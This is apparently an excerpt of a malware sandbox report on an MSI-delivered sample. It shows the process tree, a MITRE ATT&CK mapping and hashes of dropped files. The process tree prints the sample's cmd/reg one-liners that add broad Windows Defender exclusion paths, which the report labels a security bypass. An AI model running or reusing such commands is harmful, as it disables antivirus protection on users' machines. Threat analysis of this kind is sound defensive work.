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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2752
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LeHbT4" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LeHbT4" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3224
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3348
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3664
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1820
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2760
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4832
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e584552.rbs
- Size 7KB
- SHA256 3d4402eec90e5b63032e276365d17391c7fa57129c6cae3ba5068c2a3bae4cbf
- MD5 b718025a7e8c6dd8e96924fb0c84b617
- SHA1 fa200f5c6a5766350ffc46f7cd50dec6ce71f6f8
- SHA512 446898887b839746e21ddcc34758c8aa88c50810ef53e642b53b0c6edd1dc5674746c072a4250c2bbf82774d5634997696238dfb995773412f047c407aea5f43
- SSDEEP 96:ihnuu1eRxC3PaUUFV1CsThq/UFV1C6j4/xpThqjHqS56TWt8d9CKplj5zIjByy:ihjeRxqSzLIIVLI36A+Kp8
- TLSH T1E2F13201B31196D2F9911B75CB831B1A37F2D3DAA320735B08DE80685F577882ED67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\LeHbT4\UxEnhance64.dll
- Size 3.1MB
- SHA256 c67c4b8a2bae0b81bbb8e528f41fa6061d70d7f5bdd646e744ca4f442e9f3c87
- MD5 4d635ad537c654066e9febfa490c18e3
- SHA1 5afdb02eee1038b5407e5f454910b3b6b357e955
- SHA512 1eae189d9b579d1dd748455f7bc1c4f12db55c1c88af0769c828459a4a8ffc885bad81a60452df32e256a07f85afaa1a550d8ce4c12e6b76fd53130caacf6291
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+m:P9m29xx3Tiqt06ox6+z2rNNrKom
- TLSH T1D2E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\LeHbT4\adoresd.dat
- Size 4.7MB
- SHA256 a75f4a129a8c34c7ec78a7b0a083f2317935d309e551e71b0a93f8729725a207
- MD5 6e31f33a8798feb379652dd5f82d6307
- SHA1 019887272facf491b54f753b1735b0de71789808
- SHA512 8bfa0e2d1132e7d9f10555c7fd602d6dc57c258e356e82394071c22d4459f173940d5d675fd398337dcb864c77d8d580080e5f317ca3d628a1d71485ef993213
- SSDEEP 98304:Tmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:6u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1603633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\LeHbT4\lHnbLt.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\LeHbT4\msadox.tb
- Size 8KB
- SHA256 890ba0633b9db8e12659e6899a4915411f1986dd7291146d5e578bfdac2a71d6
- MD5 62750ee89ef8951755b812a204c26b78
- SHA1 bbb113e48c5ae4013d7ca7a57337d4de52635c31
- SHA512 afd6be00b0aa038f5e575db729d8652fa095e27556b3d8c0b8a6d654630dbe6494183ec70d828ba6713d31cd0b87617877420e2bb9224a2ad502c0e9ba251cc4
- SSDEEP 192:lqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:lsZqZOXQ3uqvR2Kfzp
- TLSH T115029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI4708.tmp
- Size 5.3MB
- SHA256 fbc60559931b98ab8b135eef731906b6bc787bb59c921c8584f45a08219aba8c
- MD5 7379f4be2863b04bf532e39df2fd2638
- SHA1 0d46d3b5cf47ed1227659d3c599762d0ddc0f079
- SHA512 25c2f00a4d2aa66385ae11d434fad203082185b9f7744aa701166d7978b16ce5749a39270c20b69d3074a0860a1ed768e7beab86c0e2b08f085d45a04da61734
- SSDEEP 98304:4VK8PysWY6KKv51IQ/bw6+wov6LDo1gz+CPxi5MZ9l//5jLprpfP3u8:4tP2Ao5159L8gvmyn/lLnP3R
- TLSH T1F54633C674C83378C08BC7B6454375BD762A33D5BB768D0AB79D2A01AD7272A02F6385
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e584551.msi
- Size 5.3MB
- SHA256 a00776292d3c33102471bd3296f7b2d05ac9066a862f29b81b31e2da61cf80e3
- MD5 9e40f4439ae27c7395b1eb8452d0c2bc
- SHA1 7167774f3375ec59a1d83f616db3f5f832cf0a83
- SHA512 dd32de61dc3342b95a61d70f8299b4b820b5b0f0cb06a23e8b6a989b689e120efd18efb503e62e655a2e3974761260cbb3ce17eea4040f4300539b11ef2ccb0c
- SSDEEP 98304:aVK8PysWY6KKv51IQ/bw6+wov6LDo1gz+CPxi5MZ9x//5jLprpfP3uD:atP2Ao5159L8gvmy//lLnP3O
- TLSH T1A24633CA74C83738C08BC7B6454365AD762A3FC5BB768D0AB79D3A016D7272902F6385
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 3fec5ecbf52fa4bc56cf548cb261d4b1f4349bd7d96da2f4c4d6dde86db610a8
- MD5 67270fa410568901f904083257573a93
- SHA1 de7d5c4bf62afb326a6c27e3b8dd57e687ef2e1d
- SHA512 7a1a8d253809fa737f2f19d7fd49f641b8422527d78abca2aeb28e676826f7c94d6b6347f2c865954d811457ff3c45809a4648b297e91f5ce273969ab764ce9c
- SSDEEP 24576:5u8m+1zedoO/vvTLrWNOoWaZsEEjF1dSBbGNPic1FUaMeK0wo/lEFb2RY:M
- TLSH T1EB47F52437F92510E7F39E3DACF06A2349397D9B9C199E8D05811F4E0921BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{6e0928ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{725b8fcd-5450-4b0c-83c3-2c86b0820da3}_OnDiskSnapshotProp
- Size 6KB
- SHA256 70777ea120458a03f8619e0b83eb36996030cd9f870be782b679285ef91d8ce1
- MD5 60dcad30fffc8696302a9cab4e3b58a2
- SHA1 12e62749d30f4e5bf57e3ddc74a12e693d4d907c
- SHA512 dd83476820daa981a8e9d57c0938bc50da37ccd1629022057076e30367a81b3e023a2c02fd2cec8c2d168450a6e085a52214f02447dfbbed1751b684f04454a5
- SSDEEP 96:FpOe6fF4vc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:Z4kb++ZVm
- TLSH T166D1AB085AF54711E2B3AB3128F14547A877B851EF33CB8E0298238E2670A10F836F5B
- MD5 SHA1 SHA512 SSDEEP TLSH